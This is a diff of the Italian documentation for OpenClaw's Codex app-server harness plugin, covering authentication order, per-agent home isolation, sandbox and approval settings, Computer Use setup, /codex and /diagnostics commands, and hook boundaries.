`guardian` si espande in `approvalPolicy: "on-request"`, -`approvalsReviewer: "auto_review"` e `sandbox: "workspace-write"`. -I singoli campi del criterio sovrascrivono comunque `mode`, quindi le distribuzioni avanzate possono combinare -il preset con scelte esplicite. Il valore revisore precedente `guardian_subagent` è -ancora accettato come alias di compatibilità, ma le nuove configurazioni dovrebbero usare -`auto_review`. +Il preset `guardian` si espande in `approvalPolicy: "on-request"`, `approvalsReviewer: "auto_review"` e `sandbox: "workspace-write"`. I singoli campi di policy sovrascrivono comunque `mode`, quindi le distribuzioni avanzate possono combinare il preset con scelte esplicite. Il vecchio valore revisore `guardian_subagent` è ancora accettato come alias di compatibilità, ma le nuove configurazioni dovrebbero usare `auto_review`. Per un app-server già in esecuzione, usa il trasporto WebSocket: @@ -513,27 +478,27 @@ Per un app-server già in esecuzione, usa il trasporto WebSocket: } ``` -Gli avvii app-server stdio ereditano per impostazione predefinita l'ambiente di processo di OpenClaw, -ma OpenClaw possiede il bridge dell'account app-server Codex. L'autenticazione è selezionata in questo -ordine: +Gli avvii dell’app-server stdio ereditano per impostazione predefinita l’ambiente di processo di OpenClaw, ma OpenClaw possiede il bridge dell’account dell’app-server Codex e imposta sia `CODEX_HOME` sia `HOME` su directory per agente nello stato OpenClaw di quell’agente. Il loader delle Skills di Codex legge `$CODEX_HOME/skills` e `$HOME/.agents/skills`, quindi entrambi i valori sono isolati per gli avvii locali dell’app-server. Questo mantiene Skills native Codex, plugin, configurazione, account e stato dei thread limitati all’agente OpenClaw invece di farli trapelare dalla home personale della CLI Codex dell’operatore. -1. Un profilo di autenticazione Codex OpenClaw esplicito per l'agente. -2. L'account esistente dell'app-server, come un accesso ChatGPT della CLI Codex locale. -3. Solo per gli avvii app-server stdio locali, `CODEX_API_KEY`, poi - `OPENAI_API_KEY`, quando non è presente alcun account app-server e l'autenticazione OpenAI è - ancora richiesta. +I plugin OpenClaw e gli snapshot delle Skills OpenClaw continuano a passare attraverso il registro dei plugin e il loader delle Skills propri di OpenClaw. Gli asset personali della CLI Codex no. Se hai Skills o plugin utili della CLI Codex che dovrebbero diventare parte di un agente OpenClaw, inventariali esplicitamente: -Quando OpenClaw vede un profilo di autenticazione Codex in stile abbonamento ChatGPT, rimuove -`CODEX_API_KEY` e `OPENAI_API_KEY` dal processo figlio Codex generato. Questo -mantiene disponibili le chiavi API a livello Gateway per embedding o modelli OpenAI diretti -senza far fatturare per errore i turni nativi dell'app-server Codex tramite l'API. -I profili con chiave API Codex espliciti e il fallback con chiave env stdio locale usano l'accesso app-server -invece dell'env ereditato del processo figlio. Le connessioni app-server WebSocket -non ricevono il fallback della chiave API env del Gateway; usa un profilo di autenticazione esplicito o -l'account proprio dell'app-server remoto. +```bash +openclaw migrate codex --dry-run +openclaw migrate apply codex --yes +``` -Se una distribuzione richiede isolamento aggiuntivo dell'ambiente, aggiungi quelle variabili a -`appServer.clearEnv`: +Il provider di migrazione Codex copia le Skills nel workspace dell’agente OpenClaw corrente. Plugin nativi Codex, hook e file di configurazione vengono segnalati o archiviati per revisione manuale invece di essere attivati automaticamente, perché possono eseguire comandi, esporre server MCP o contenere credenziali. + +L’autenticazione viene selezionata in questo ordine: + +1. Un profilo di autenticazione Codex OpenClaw esplicito per l’agente. +2. L’account esistente dell’app-server nella home Codex di quell’agente. +3. Solo per gli avvii locali dell’app-server stdio, `CODEX_API_KEY`, poi + `OPENAI_API_KEY`, quando non è presente alcun account app-server e l’autenticazione OpenAI è ancora richiesta. + +Quando OpenClaw rileva un profilo di autenticazione Codex in stile abbonamento ChatGPT, rimuove `CODEX_API_KEY` e `OPENAI_API_KEY` dal processo figlio Codex avviato. Questo mantiene disponibili le chiavi API a livello Gateway per embedding o modelli OpenAI diretti senza far fatturare per errore i turni nativi dell’app-server Codex tramite l’API. I profili Codex espliciti con chiave API e il fallback locale con chiave d’ambiente stdio usano il login dell’app-server invece dell’ambiente ereditato del processo figlio. Le connessioni app-server WebSocket non ricevono il fallback della chiave API d’ambiente del Gateway; usa un profilo di autenticazione esplicito o l’account proprio dell’app-server remoto. + +Se una distribuzione richiede isolamento aggiuntivo dell’ambiente, aggiungi quelle variabili a `appServer.clearEnv`: ```json5 { @@ -552,40 +517,42 @@ Se una distribuzione richiede isolamento aggiuntivo dell'ambiente, aggiungi quel } ``` -`appServer.clearEnv` influisce solo sul processo figlio app-server Codex generato. +`appServer.clearEnv` influisce solo sul processo figlio dell’app-server Codex avviato. Campi `appServer` supportati: -| Campo | Predefinito | Significato | -| ------------------- | ---------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | -| `transport` | `"stdio"` | `"stdio"` avvia Codex; `"websocket"` si connette a `url`. | -| `command` | binario Codex gestito | Eseguibile per il trasporto stdio. Lasciare non impostato per usare il binario gestito; impostarlo solo per una sostituzione esplicita. | -| `args` | `["app-server", "--listen", "stdio://"]` | Argomenti per il trasporto stdio. | -| `url` | non impostato | URL app-server WebSocket. | -| `authToken` | non impostato | Token bearer per il trasporto WebSocket. | -| `headers` | `{}` | Header WebSocket aggiuntivi. | -| `clearEnv` | `[]` | Nomi di variabili d'ambiente aggiuntivi rimossi dal processo app-server stdio avviato dopo che OpenClaw ha costruito il suo ambiente ereditato. | -| `requestTimeoutMs` | `60000` | Timeout per le chiamate del piano di controllo app-server. | -| `mode` | `"yolo"` | Preimpostazione per l'esecuzione YOLO o revisionata da guardian. | -| `approvalPolicy` | `"never"` | Policy di approvazione nativa di Codex inviata ad avvio/ripresa/thread e turno. | -| `sandbox` | `"danger-full-access"` | Modalità sandbox nativa di Codex inviata ad avvio/ripresa del thread. | -| `approvalsReviewer` | `"user"` | Usare `"auto_review"` per permettere a Codex di revisionare i prompt di approvazione nativi. `guardian_subagent` resta un alias legacy. | -| `serviceTier` | non impostato | Livello di servizio app-server Codex opzionale: `"fast"`, `"flex"` o `null`. I valori legacy non validi vengono ignorati. | +| Campo | Predefinito | Significato | +| ------------------- | ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `transport` | `"stdio"` | `"stdio"` avvia Codex; `"websocket"` si connette a `url`. | +| `command` | binario Codex gestito | Eseguibile per il trasporto stdio. Lascialo non impostato per usare il binario gestito; impostalo solo per una sostituzione esplicita. | +| `args` | `["app-server", "--listen", "stdio://"]` | Argomenti per il trasporto stdio. | +| `url` | non impostato | URL WebSocket dell'app-server. | +| `authToken` | non impostato | Token bearer per il trasporto WebSocket. | +| `headers` | `{}` | Header WebSocket aggiuntivi. | +| `clearEnv` | `[]` | Nomi di variabili d'ambiente aggiuntive rimosse dal processo app-server stdio avviato dopo che OpenClaw ha costruito il proprio ambiente ereditato. `CODEX_HOME` e `HOME` sono riservati all'isolamento Codex per agente di OpenClaw negli avvii locali. | +| `requestTimeoutMs` | `60000` | Timeout per le chiamate al control plane dell'app-server. | +| `mode` | `"yolo"` | Preset per l'esecuzione YOLO o con revisione guardian. | +| `approvalPolicy` | `"never"` | Policy di approvazione nativa Codex inviata all'avvio/ripresa/turno del thread. | +| `sandbox` | `"danger-full-access"` | Modalità sandbox nativa Codex inviata all'avvio/ripresa del thread. | +| `approvalsReviewer` | `"user"` | Usa `"auto_review"` per lasciare che Codex revisioni le richieste di approvazione native. `guardian_subagent` rimane un alias legacy. | +| `serviceTier` | non impostato | Tier di servizio opzionale dell'app-server Codex: `"fast"`, `"flex"` o `null`. I valori legacy non validi vengono ignorati. | -Le chiamate agli strumenti dinamici di proprietà di OpenClaw sono delimitate in modo indipendente da -`appServer.requestTimeoutMs`: ogni richiesta Codex `item/tool/call` deve ricevere -una risposta OpenClaw entro 30 secondi. In caso di timeout, OpenClaw interrompe il segnale dello strumento -dove supportato e restituisce a Codex una risposta di strumento dinamico non riuscita, così -il turno può continuare invece di lasciare la sessione in `processing`. +Le chiamate agli strumenti dinamici di proprietà di OpenClaw sono limitate +indipendentemente da `appServer.requestTimeoutMs`: ogni richiesta Codex +`item/tool/call` deve ricevere una risposta OpenClaw entro 30 secondi. In caso +di timeout, OpenClaw interrompe il segnale dello strumento dove supportato e +restituisce a Codex una risposta di dynamic-tool non riuscita, così il turno può +continuare invece di lasciare la sessione in `processing`. -Dopo che OpenClaw risponde a una richiesta app-server Codex con ambito di turno, l'harness -si aspetta anche che Codex concluda il turno nativo con `turn/completed`. Se -l'app-server resta silenzioso per 60 secondi dopo quella risposta, OpenClaw tenta -di interrompere il turno Codex, registra un timeout diagnostico e libera la corsia della sessione -OpenClaw affinché i messaggi di chat successivi non restino in coda dietro un -turno nativo obsoleto. +Dopo che OpenClaw risponde a una richiesta app-server Codex con ambito di turno, +l'harness si aspetta anche che Codex completi il turno nativo con +`turn/completed`. Se l'app-server resta silenzioso per 60 secondi dopo quella +risposta, OpenClaw interrompe il turno Codex al meglio delle possibilità, +registra un timeout diagnostico e libera la corsia della sessione OpenClaw, così +i messaggi di chat successivi non vengono messi in coda dietro a un turno nativo +stale. -Gli override d'ambiente restano disponibili per i test locali: +Le sostituzioni tramite ambiente restano disponibili per i test locali: - `OPENCLAW_CODEX_APP_SERVER_BIN` - `OPENCLAW_CODEX_APP_SERVER_ARGS` @@ -593,31 +560,32 @@ Gli override d'ambiente restano disponibili per i test locali: - `OPENCLAW_CODEX_APP_SERVER_APPROVAL_POLICY` - `OPENCLAW_CODEX_APP_SERVER_SANDBOX` -`OPENCLAW_CODEX_APP_SERVER_BIN` ignora il binario gestito quando +`OPENCLAW_CODEX_APP_SERVER_BIN` bypassa il binario gestito quando `appServer.command` non è impostato. -`OPENCLAW_CODEX_APP_SERVER_GUARDIAN=1` è stato rimosso. Usare invece -`plugins.entries.codex.config.appServer.mode: "guardian"`, oppure -`OPENCLAW_CODEX_APP_SERVER_MODE=guardian` per test locali una tantum. La configurazione è -preferibile per distribuzioni ripetibili perché mantiene il comportamento del plugin nello -stesso file revisionato del resto della configurazione dell'harness Codex. +`OPENCLAW_CODEX_APP_SERVER_GUARDIAN=1` è stato rimosso. Usa invece +`plugins.entries.codex.config.appServer.mode: "guardian"` oppure +`OPENCLAW_CODEX_APP_SERVER_MODE=guardian` per test locali una tantum. La config +è preferibile per distribuzioni ripetibili perché mantiene il comportamento del +plugin nello stesso file revisionato del resto della configurazione dell'harness +Codex. ## Uso del computer L'Uso del computer è trattato nella propria guida di configurazione: -[Uso del computer di Codex](/it/plugins/codex-computer-use). +[Uso del computer Codex](/it/plugins/codex-computer-use). -La versione breve: OpenClaw non include l'app di controllo desktop né esegue -direttamente azioni desktop. Prepara Codex app-server, verifica che il server MCP -`computer-use` sia disponibile e poi lascia che Codex gestisca le chiamate agli strumenti MCP -native durante i turni in modalità Codex. +La versione breve: OpenClaw non include in vendoring l'app di controllo desktop +né esegue direttamente azioni desktop. Prepara l'app-server Codex, verifica che +il server MCP `computer-use` sia disponibile e poi lascia che Codex gestisca le +chiamate agli strumenti MCP native durante i turni in modalità Codex. -Per l'accesso diretto al driver TryCua fuori dal flusso marketplace di Codex, registrare -`cua-driver mcp` con `openclaw mcp set cua-driver '{"command":"cua-driver","args":["mcp"]}'`. -Vedere [Uso del computer di Codex](/it/plugins/codex-computer-use) per la distinzione +Per l'accesso diretto al driver TryCua fuori dal flusso del marketplace Codex, +registra `cua-driver mcp` con `openclaw mcp set cua-driver '{"command":"cua-driver","args":["mcp"]}'`. +Consulta [Uso del computer Codex](/it/plugins/codex-computer-use) per la distinzione tra Uso del computer di proprietà di Codex e registrazione MCP diretta. -Configurazione minima: +Config minima: ```json5 { @@ -652,19 +620,21 @@ La configurazione può essere controllata o installata dalla superficie dei coma - `/codex computer-use install --source ` - `/codex computer-use install --marketplace-path ` -L'Uso del computer è specifico di macOS e può richiedere permessi locali del sistema operativo prima che il -server MCP di Codex possa controllare le app. Se `computerUse.enabled` è true e il server MCP -non è disponibile, i turni in modalità Codex falliscono prima dell'avvio del thread invece di -essere eseguiti silenziosamente senza gli strumenti nativi di Uso del computer. Vedere -[Uso del computer di Codex](/it/plugins/codex-computer-use) per le scelte del marketplace, -i limiti del catalogo remoto, le motivazioni di stato e la risoluzione dei problemi. +L'Uso del computer è specifico per macOS e può richiedere permessi locali del +sistema operativo prima che il server MCP Codex possa controllare le app. Se +`computerUse.enabled` è true e il server MCP non è disponibile, i turni in +modalità Codex falliscono prima dell'avvio del thread invece di essere eseguiti +silenziosamente senza gli strumenti nativi di Uso del computer. Consulta +[Uso del computer Codex](/it/plugins/codex-computer-use) per le opzioni del +marketplace, i limiti del catalogo remoto, i motivi dello stato e la risoluzione +dei problemi. -Quando `computerUse.autoInstall` è true, OpenClaw può registrare il marketplace standard -Codex Desktop incluso da +Quando `computerUse.autoInstall` è true, OpenClaw può registrare il marketplace +standard Codex Desktop in bundle da `/Applications/Codex.app/Contents/Resources/plugins/openai-bundled` se Codex -non ha ancora scoperto un marketplace locale. Usare `/new` o `/reset` dopo -aver modificato la configurazione del runtime o dell'Uso del computer, così le sessioni esistenti non mantengono un vecchio -binding del thread PI o Codex. +non ha ancora scoperto un marketplace locale. Usa `/new` o `/reset` dopo aver +modificato la config del runtime o dell'Uso del computer, così le sessioni +esistenti non mantengono un vecchio binding di thread PI o Codex. ## Ricette comuni @@ -749,237 +719,170 @@ App-server remoto con header espliciti: } ``` -Il cambio di modello resta controllato da OpenClaw. Quando una sessione OpenClaw è collegata -a un thread Codex esistente, il turno successivo invia di nuovo ad -app-server il modello OpenAI, il provider, la policy di approvazione, la sandbox e il livello di servizio -attualmente selezionati. Passare da `openai/gpt-5.5` a `openai/gpt-5.2` mantiene il -binding del thread ma chiede a Codex di continuare con il nuovo modello selezionato. +Il cambio di modello resta controllato da OpenClaw. Quando una sessione +OpenClaw è collegata a un thread Codex esistente, il turno successivo invia di +nuovo all'app-server il modello OpenAI, il provider, la policy di approvazione, +la sandbox e il tier di servizio attualmente selezionati. Il passaggio da +`openai/gpt-5.5` a `openai/gpt-5.2` mantiene il binding del thread ma chiede a +Codex di continuare con il nuovo modello selezionato. ## Comando Codex -Il plugin incluso registra `/codex` come comando slash autorizzato. È -generico e funziona su qualsiasi canale che supporti i comandi testuali OpenClaw. +Il plugin in bundle registra `/codex` come comando slash autorizzato. È generico +e funziona su qualsiasi canale che supporti i comandi testuali OpenClaw. Forme comuni: -- `/codex status` mostra connettività app-server live, modelli, account, limiti di frequenza, server MCP e Skills. -- `/codex models` elenca i modelli app-server Codex live. +- `/codex status` mostra connettività app-server live, modelli, account, rate limit, server MCP e skills. +- `/codex models` elenca i modelli live dell'app-server Codex. - `/codex threads [filter]` elenca i thread Codex recenti. - `/codex resume ` collega la sessione OpenClaw corrente a un thread Codex esistente. -- `/codex compact` chiede a Codex app-server di compattare il thread collegato. +- `/codex compact` chiede all'app-server Codex di compattare il thread collegato. - `/codex review` avvia la revisione nativa Codex per il thread collegato. -- `/codex diagnostics [note]` chiede prima di inviare feedback diagnostico Codex per il thread collegato. +- `/codex diagnostics [note]` chiede conferma prima di inviare il feedback diagnostico Codex per il thread collegato. - `/codex computer-use status` controlla il plugin Uso del computer configurato e il server MCP. - `/codex computer-use install` installa il plugin Uso del computer configurato e ricarica i server MCP. -- `/codex account` mostra lo stato dell'account e dei limiti di frequenza. -- `/codex mcp` elenca lo stato dei server MCP app-server Codex. -- `/codex skills` elenca le Skills app-server Codex. +- `/codex account` mostra lo stato dell'account e dei rate limit. +- `/codex mcp` elenca lo stato dei server MCP dell'app-server Codex. +- `/codex skills` elenca le skills dell'app-server Codex. ### Flusso di debug comune -Quando un agente basato su Codex fa qualcosa di inatteso in Telegram, Discord, Slack -o un altro canale, iniziare dalla conversazione in cui si è verificato il problema: +Quando un agente supportato da Codex fa qualcosa di inatteso in Telegram, +Discord, Slack o un altro canale, inizia dalla conversazione in cui si è +verificato il problema: -1. Eseguire `/diagnostics bad tool choice after image upload` o un'altra breve nota - che descriva ciò che si è visto. -2. Approvare una volta la richiesta di diagnostica. L'approvazione crea lo zip diagnostico del Gateway - locale e, poiché la sessione usa l'harness Codex, invia anche - il bundle di feedback Codex pertinente ai server OpenAI. -3. Copiare la risposta diagnostica completata nel report di bug o nel thread di supporto. - Include il percorso del bundle locale, il riepilogo privacy, gli ID sessione OpenClaw, - gli ID thread Codex e una riga `Inspect locally` per ogni thread Codex. -4. Se si vuole eseguire il debug della run autonomamente, eseguire il comando `Inspect locally` - stampato in un terminale. Somiglia a `codex resume ` e apre il - thread Codex nativo così si può ispezionare la conversazione, continuarla localmente - o chiedere a Codex perché ha scelto un determinato strumento o piano. +1. Esegui `/diagnostics bad tool choice after image upload` o un'altra breve nota + che descriva ciò che hai visto. +2. Approva la richiesta di diagnostica una volta. L'approvazione crea lo zip di + diagnostica locale del Gateway e, poiché la sessione usa l'harness Codex, + invia anche il bundle di feedback Codex pertinente ai server OpenAI. +3. Copia la risposta di diagnostica completata nella segnalazione del bug o nel + thread di supporto. Include il percorso del bundle locale, il riepilogo della + privacy, gli ID sessione OpenClaw, gli ID thread Codex e una riga + `Inspect locally` per ogni thread Codex. +4. Se vuoi eseguire il debug della run personalmente, esegui il comando + `Inspect locally` stampato in un terminale. Ha l'aspetto di + `codex resume ` e apre il thread Codex nativo, così puoi + ispezionare la conversazione, continuarla localmente o chiedere a Codex perché + ha scelto uno strumento o un piano particolare. -Usare `/codex diagnostics [note]` solo quando si desidera specificamente il caricamento del feedback -Codex per il thread attualmente collegato senza il bundle diagnostico completo del Gateway -OpenClaw. Per la maggior parte delle segnalazioni di supporto, `/diagnostics [note]` è -il punto di partenza migliore perché collega lo stato del Gateway locale e gli ID thread Codex -in un'unica risposta. Vedere [Esportazione diagnostica](/it/gateway/diagnostics) -per il modello privacy completo e il comportamento nelle chat di gruppo. +Usa `/codex diagnostics [note]` solo quando vuoi specificamente il caricamento del feedback Codex per il thread attualmente collegato, senza il pacchetto diagnostico completo del Gateway OpenClaw. Per la maggior parte delle segnalazioni di supporto, `/diagnostics [note]` è il punto di partenza migliore perché collega lo stato del Gateway locale e gli ID dei thread Codex in un'unica risposta. Vedi [Esportazione diagnostica](/it/gateway/diagnostics) per il modello completo di privacy e il comportamento nelle chat di gruppo. -Il core OpenClaw espone anche `/diagnostics [note]`, riservato agli owner, come comando generale -di diagnostica del Gateway. Il relativo prompt di approvazione mostra il preambolo sui dati sensibili, -collega a [Esportazione diagnostica](/it/gateway/diagnostics) e richiede -`openclaw gateway diagnostics export --json` tramite approvazione exec esplicita -ogni volta. Non approvare la diagnostica con una regola allow-all. Dopo l'approvazione, -OpenClaw invia un report incollabile con il percorso del bundle locale e il riepilogo -del manifesto. Quando la sessione OpenClaw attiva usa l'harness Codex, quella -stessa approvazione autorizza anche l'invio dei bundle di feedback Codex pertinenti ai -server OpenAI. Il prompt di approvazione dice che il feedback Codex sarà inviato, ma -non elenca gli ID sessione o thread Codex prima dell'approvazione. +Anche il core OpenClaw espone `/diagnostics [note]`, riservato agli owner, come comando diagnostico generale del Gateway. La sua richiesta di approvazione mostra il preambolo sui dati sensibili, rimanda a [Esportazione diagnostica](/it/gateway/diagnostics) e richiede `openclaw gateway diagnostics export --json` tramite approvazione esplicita dell'esecuzione ogni volta. Non approvare la diagnostica con una regola allow-all. Dopo l'approvazione, OpenClaw invia un report incollabile con il percorso del pacchetto locale e il riepilogo del manifest. Quando la sessione OpenClaw attiva usa l'harness Codex, la stessa approvazione autorizza anche l'invio ai server OpenAI dei pacchetti di feedback Codex pertinenti. La richiesta di approvazione dice che il feedback Codex verrà inviato, ma non elenca gli ID di sessione o di thread Codex prima dell'approvazione. -Se `/diagnostics` viene invocato da un owner in una chat di gruppo, OpenClaw mantiene pulito il -canale condiviso: il gruppo riceve solo un breve avviso, mentre il -preambolo diagnostico, i prompt di approvazione e gli ID sessione/thread Codex vengono inviati -all'owner tramite il percorso di approvazione privato. Se non esiste un percorso owner privato, -OpenClaw rifiuta la richiesta del gruppo e chiede all'owner di eseguirla da un DM. +Se `/diagnostics` viene invocato da un owner in una chat di gruppo, OpenClaw mantiene pulito il canale condiviso: il gruppo riceve solo un breve avviso, mentre il preambolo diagnostico, le richieste di approvazione e gli ID di sessione/thread Codex vengono inviati all'owner tramite il percorso di approvazione privato. Se non esiste un percorso privato verso l'owner, OpenClaw rifiuta la richiesta del gruppo e chiede all'owner di eseguirla da un DM. -Le chiamate di caricamento Codex approvate chiamano `feedback/upload` dell'app-server Codex e chiedono -all'app-server di includere i log per ogni thread elencato e per i sottothread Codex generati -quando disponibili. Il caricamento passa attraverso il normale percorso di feedback di Codex verso i -server OpenAI; se il feedback Codex è disabilitato in quell'app-server, il comando restituisce -l'errore dell'app-server. La risposta diagnostica completata elenca i canali, -gli ID sessione OpenClaw, gli ID thread Codex e i comandi locali `codex resume ` -per i thread che sono stati inviati. Se neghi o ignori l'approvazione, -OpenClaw non stampa quegli ID Codex. Questo caricamento non sostituisce l'esportazione diagnostica locale -del Gateway. +Il caricamento Codex approvato chiama `feedback/upload` dell'app-server Codex e chiede all'app-server di includere i log per ogni thread elencato e per i sottothread Codex generati, quando disponibili. Il caricamento passa attraverso il normale percorso di feedback di Codex verso i server OpenAI; se il feedback Codex è disabilitato in quell'app-server, il comando restituisce l'errore dell'app-server. La risposta diagnostica completata elenca i canali, gli ID sessione OpenClaw, gli ID thread Codex e i comandi locali `codex resume ` per i thread inviati. Se neghi o ignori l'approvazione, OpenClaw non stampa quegli ID Codex. Questo caricamento non sostituisce l'esportazione diagnostica locale del Gateway. -`/codex resume` scrive lo stesso file di binding sidecar che l'harness usa per i -turni normali. Al messaggio successivo, OpenClaw riprende quel thread Codex, passa il -modello OpenClaw attualmente selezionato all'app-server e mantiene abilitata la cronologia -estesa. +`/codex resume` scrive lo stesso file di binding sidecar usato dall'harness per i turni normali. Al messaggio successivo, OpenClaw riprende quel thread Codex, passa all'app-server il modello OpenClaw attualmente selezionato e mantiene abilitata la cronologia estesa. ### Ispezionare un thread Codex dalla CLI -Il modo più rapido per capire un'esecuzione Codex errata è spesso aprire direttamente il thread -Codex nativo: +Il modo più rapido per capire un'esecuzione Codex difettosa è spesso aprire direttamente il thread Codex nativo: ```sh codex resume ``` -Usalo quando noti un bug in una conversazione di canale e vuoi ispezionare la -sessione Codex problematica, continuarla localmente o chiedere a Codex perché ha fatto una -particolare scelta di strumento o di ragionamento. Il percorso più semplice di solito è eseguire -prima `/diagnostics [note]`: dopo l'approvazione, il report completato elenca -ogni thread Codex e stampa un comando `Inspect locally`, ad esempio -`codex resume `. Puoi copiare quel comando direttamente in un terminale. +Usalo quando noti un bug in una conversazione di canale e vuoi ispezionare la sessione Codex problematica, continuarla localmente o chiedere a Codex perché ha fatto una determinata scelta di strumento o di ragionamento. Il percorso più semplice di solito è eseguire prima `/diagnostics [note]`: dopo l'approvazione, il report completato elenca ogni thread Codex e stampa un comando `Inspect locally`, per esempio `codex resume `. Puoi copiare quel comando direttamente in un terminale. -Puoi anche ottenere un ID thread da `/codex binding` per la chat corrente o -`/codex threads [filter]` per i thread recenti dell'app-server Codex, quindi eseguire lo stesso -comando `codex resume` nella tua shell. +Puoi anche ottenere un ID thread da `/codex binding` per la chat corrente o da `/codex threads [filter]` per i thread recenti dell'app-server Codex, quindi eseguire lo stesso comando `codex resume` nella shell. -La superficie dei comandi richiede l'app-server Codex `0.125.0` o successivo. I singoli -metodi di controllo vengono segnalati come `unsupported by this Codex app-server` se un -app-server futuro o personalizzato non espone quel metodo JSON-RPC. +La superficie di comando richiede l'app-server Codex `0.125.0` o versione successiva. I singoli metodi di controllo vengono segnalati come `unsupported by this Codex app-server` se un app-server futuro o personalizzato non espone quel metodo JSON-RPC. ## Confini degli hook L'harness Codex ha tre livelli di hook: -| Livello | Proprietario | Scopo | +| Livello | Owner | Scopo | | ------------------------------------- | ------------------------ | ------------------------------------------------------------------- | -| Hook dei plugin OpenClaw | OpenClaw | Compatibilità prodotto/plugin tra harness PI e Codex. | -| Middleware di estensione dell'app-server Codex | Plugin in bundle OpenClaw | Comportamento dell'adapter per turno intorno agli strumenti dinamici OpenClaw. | +| Hook dei plugin OpenClaw | OpenClaw | Compatibilità prodotto/plugin tra gli harness PI e Codex. | +| Middleware di estensione app-server Codex | Plugin inclusi in OpenClaw | Comportamento dell'adapter per turno attorno agli strumenti dinamici OpenClaw. | | Hook nativi Codex | Codex | Ciclo di vita Codex di basso livello e policy degli strumenti nativi dalla configurazione Codex. | -OpenClaw non usa file Codex `hooks.json` di progetto o globali per instradare il -comportamento dei plugin OpenClaw. Per il bridge supportato di strumenti nativi e permessi, -OpenClaw inietta configurazione Codex per thread per `PreToolUse`, `PostToolUse`, -`PermissionRequest` e `Stop`. Altri hook Codex come `SessionStart` e -`UserPromptSubmit` rimangono controlli a livello Codex; non sono esposti come -hook dei plugin OpenClaw nel contratto v1. +OpenClaw non usa file Codex `hooks.json` di progetto o globali per instradare il comportamento dei plugin OpenClaw. Per il bridge supportato di strumenti nativi e permessi, OpenClaw inietta configurazione Codex per thread per `PreToolUse`, `PostToolUse`, `PermissionRequest` e `Stop`. Altri hook Codex come `SessionStart` e `UserPromptSubmit` rimangono controlli a livello Codex; non sono esposti come hook dei plugin OpenClaw nel contratto v1. -Per gli strumenti dinamici OpenClaw, OpenClaw esegue lo strumento dopo che Codex richiede la -chiamata, quindi OpenClaw attiva il comportamento di plugin e middleware che possiede -nell'adapter dell'harness. Per gli strumenti nativi Codex, Codex possiede il record canonico dello strumento. -OpenClaw può rispecchiare eventi selezionati, ma non può riscrivere il thread Codex -nativo a meno che Codex non esponga quell'operazione tramite app-server o callback di hook -nativi. +Per gli strumenti dinamici OpenClaw, OpenClaw esegue lo strumento dopo che Codex richiede la chiamata, quindi OpenClaw attiva il comportamento dei plugin e del middleware di sua proprietà nell'adapter dell'harness. Per gli strumenti nativi Codex, Codex possiede il record canonico dello strumento. OpenClaw può rispecchiare eventi selezionati, ma non può riscrivere il thread Codex nativo a meno che Codex esponga quell'operazione tramite app-server o callback degli hook nativi. -Le proiezioni di Compaction e del ciclo di vita LLM provengono dalle notifiche dell'app-server Codex -e dallo stato dell'adapter OpenClaw, non da comandi di hook nativi Codex. -Gli eventi `before_compaction`, `after_compaction`, `llm_input` e -`llm_output` di OpenClaw sono osservazioni a livello adapter, non acquisizioni byte per byte -della richiesta interna o dei payload di Compaction di Codex. +Le proiezioni di Compaction e del ciclo di vita LLM provengono dalle notifiche dell'app-server Codex e dallo stato dell'adapter OpenClaw, non da comandi degli hook nativi Codex. Gli eventi `before_compaction`, `after_compaction`, `llm_input` e `llm_output` di OpenClaw sono osservazioni a livello adapter, non acquisizioni byte per byte della richiesta interna o dei payload di compaction di Codex. -Le notifiche app-server native Codex `hook/started` e `hook/completed` vengono -proiettate come eventi agente `codex_app_server.hook` per traiettoria e debug. -Non invocano hook dei plugin OpenClaw. +Le notifiche app-server native Codex `hook/started` e `hook/completed` vengono proiettate come eventi agente `codex_app_server.hook` per traiettoria e debug. Non invocano hook dei plugin OpenClaw. ## Contratto di supporto V1 -La modalità Codex non è PI con una diversa chiamata al modello sottostante. Codex possiede una parte maggiore -del ciclo nativo del modello e OpenClaw adatta le proprie superfici di plugin e sessione -intorno a quel confine. +La modalità Codex non è PI con sotto una chiamata a un modello diverso. Codex possiede una parte maggiore del ciclo nativo del modello e OpenClaw adatta le proprie superfici di plugin e sessione attorno a quel confine. Supportato nel runtime Codex v1: -| Superficie | Supporto | Motivo | +| Superficie | Supporto | Perché | | --------------------------------------------- | --------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Ciclo del modello OpenAI tramite Codex | Supportato | L'app-server Codex possiede il turno OpenAI, la ripresa del thread nativo e la continuazione degli strumenti nativi. | -| Instradamento e consegna dei canali OpenClaw | Supportato | Telegram, Discord, Slack, WhatsApp, iMessage e altri canali restano fuori dal runtime del modello. | -| Strumenti dinamici OpenClaw | Supportato | Codex chiede a OpenClaw di eseguire questi strumenti, quindi OpenClaw resta nel percorso di esecuzione. | -| Plugin di prompt e contesto | Supportato | OpenClaw costruisce overlay di prompt e proietta il contesto nel turno Codex prima di avviare o riprendere il thread. | -| Ciclo di vita del motore di contesto | Supportato | Assemblaggio, ingestione o manutenzione post-turno e coordinamento della Compaction del motore di contesto vengono eseguiti per i turni Codex. | -| Hook degli strumenti dinamici | Supportato | `before_tool_call`, `after_tool_call` e il middleware dei risultati degli strumenti vengono eseguiti intorno agli strumenti dinamici posseduti da OpenClaw. | -| Hook del ciclo di vita | Supportati come osservazioni dell'adapter | `llm_input`, `llm_output`, `agent_end`, `before_compaction` e `after_compaction` si attivano con payload onesti della modalità Codex. | -| Gate di revisione della risposta finale | Supportato tramite il relay degli hook nativi | Codex `Stop` viene inoltrato a `before_agent_finalize`; `revise` chiede a Codex un ulteriore passaggio del modello prima della finalizzazione. | -| Shell nativa, patch e blocco od osservazione MCP | Supportato tramite il relay degli hook nativi | Codex `PreToolUse` e `PostToolUse` vengono inoltrati per le superfici di strumenti nativi consolidate, inclusi i payload MCP su app-server Codex `0.125.0` o successivo. Il blocco è supportato; la riscrittura degli argomenti no. | -| Policy dei permessi nativa | Supportata tramite il relay degli hook nativi | Codex `PermissionRequest` può essere instradato attraverso la policy OpenClaw dove il runtime lo espone. Se OpenClaw non restituisce alcuna decisione, Codex continua attraverso il proprio percorso normale di guardian o approvazione utente. | +| Ciclo del modello OpenAI tramite Codex | Supportato | L'app-server Codex possiede il turno OpenAI, la ripresa del thread nativo e la continuazione degli strumenti nativi. | +| Instradamento e consegna dei canali OpenClaw | Supportato | Telegram, Discord, Slack, WhatsApp, iMessage e altri canali restano fuori dal runtime del modello. | +| Strumenti dinamici OpenClaw | Supportato | Codex chiede a OpenClaw di eseguire questi strumenti, quindi OpenClaw resta nel percorso di esecuzione. | +| Plugin 